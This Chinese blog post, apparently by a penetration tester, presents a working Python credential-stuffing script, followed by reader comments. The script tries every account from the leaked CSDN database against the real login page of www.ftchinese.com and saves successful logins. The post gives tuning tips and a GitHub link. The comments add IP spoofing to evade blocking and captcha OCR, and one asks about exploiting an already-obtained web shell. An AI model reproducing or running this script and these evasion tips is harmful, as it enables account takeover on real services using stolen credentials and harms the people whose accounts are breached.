在以往的渗透测试过程中,我常使用暴力破解来作为突破口。
破解过包括ADSL、客户端软件账号、web后台、NT Server、SSH、FTP、MySQL、Email等,
主要通过两种方式:
1. 基于协议暴力破解
2. 模拟点击、模拟按键等进行客户端暴力破解
当然,其中还涉及到ADSL重新拨号换IP、验证码识别的细节。
前述到此。
下面是我写的一个非常简短的Python脚本,用于http暴力破解。
它使用CSDN流出的800万账号,尝试登陆www.ftchinese.com。
# -*- coding: utf-8 -*-
'''
from https://www.lijiejie.com
my[at]lijiejie.com
'''
import urllib2
import urllib
import httplib
import threading
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive",
"Referer":"http://www.ftchinese.com/"};
lock = threading.Lock()
def tryUser():
global headers
global outFile
conn = httplib.HTTPConnection("www.ftchinese.com")
while True:
lock.acquire()
line = inFile.readline()
userData = line.strip().split(' # ')
lock.release()
if len(userData) != 3: continue
if len(line) == 0:
conn.close()
break
user = userData[2]
passwd = userData[1]
params = urllib.urlencode({'username': user, 'password': passwd})
conn.request(method="POST", url="/users/login", body=params, headers=headers)
responseText = conn.getresponse().read().decode('utf8')
if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 :
print '*** find user:', user, 'with password:', passwd, '***'
outFile.write(user + ' ' + passwd + '\n')
outFile = open('accounts-cracked.txt', 'w')
with open(r'E:\works-hz\csdn.sql', 'r') as inFile:
for i in range(5000): #skip 5000
inFile.readline()
for i in range(10):
threading.Thread(target = tryUser())
outFile.close()
登录时POST http://www.ftchinese.com/users/login, 附加username和password
值得注意的是:
1. 程序首先跳过了前5000行,考虑到前5000个账号破解成功率比较低
2. headers中”Connection”:”Keep-Alive”,让我们可以在一个http连接中,尝试无数个密码,直到破解结束,才关闭当前的TCP连接
脚本也上传到了github上: https://github.com/lijiejie/http-brute-force-attack
因为学python时间不长,代码不堪,请见谅。
写的挺好的,X-Forwarded-For可以在很多地方用来模拟其它IP地址访问。
受教了,这个非常有用。可以一定程度上防屏蔽,哈哈
这不是暴力破解吧。accounts-cracked.txt 有没有?
脚本拿过去得根据目标网站做修改的。 这里是用csdn的数据去暴其他网站
脚本拿过去得根据目标网站做修改的。 这里是用csdn的数据去暴其他网站
这不是暴力破解吧。accounts-cracked.txt 有没有?
写的还是不错的。。
谢谢。。。 以前的代码,没怎么用过。 最近我有在重写一个脚本。 https://github.com/lijiejie/htpwdScan 这个比较通用一些。
学长要是能加个验证码破解就好了!
嗯,这个脚本太老了。 可以加入tesser-act来识别验证码。
请问劼杰,有CDN的站我都拿到shell了,但菜刀那还是结点ip,我如何利用shell获取真实ip呢?谢谢!~
有没有破解客户端的例子,希望楼主发芾我一个,不尽感激!!!
楼主你好,为什么我用你写的python脚本破解basic认证登录界面不成功,提示“No one was cracked”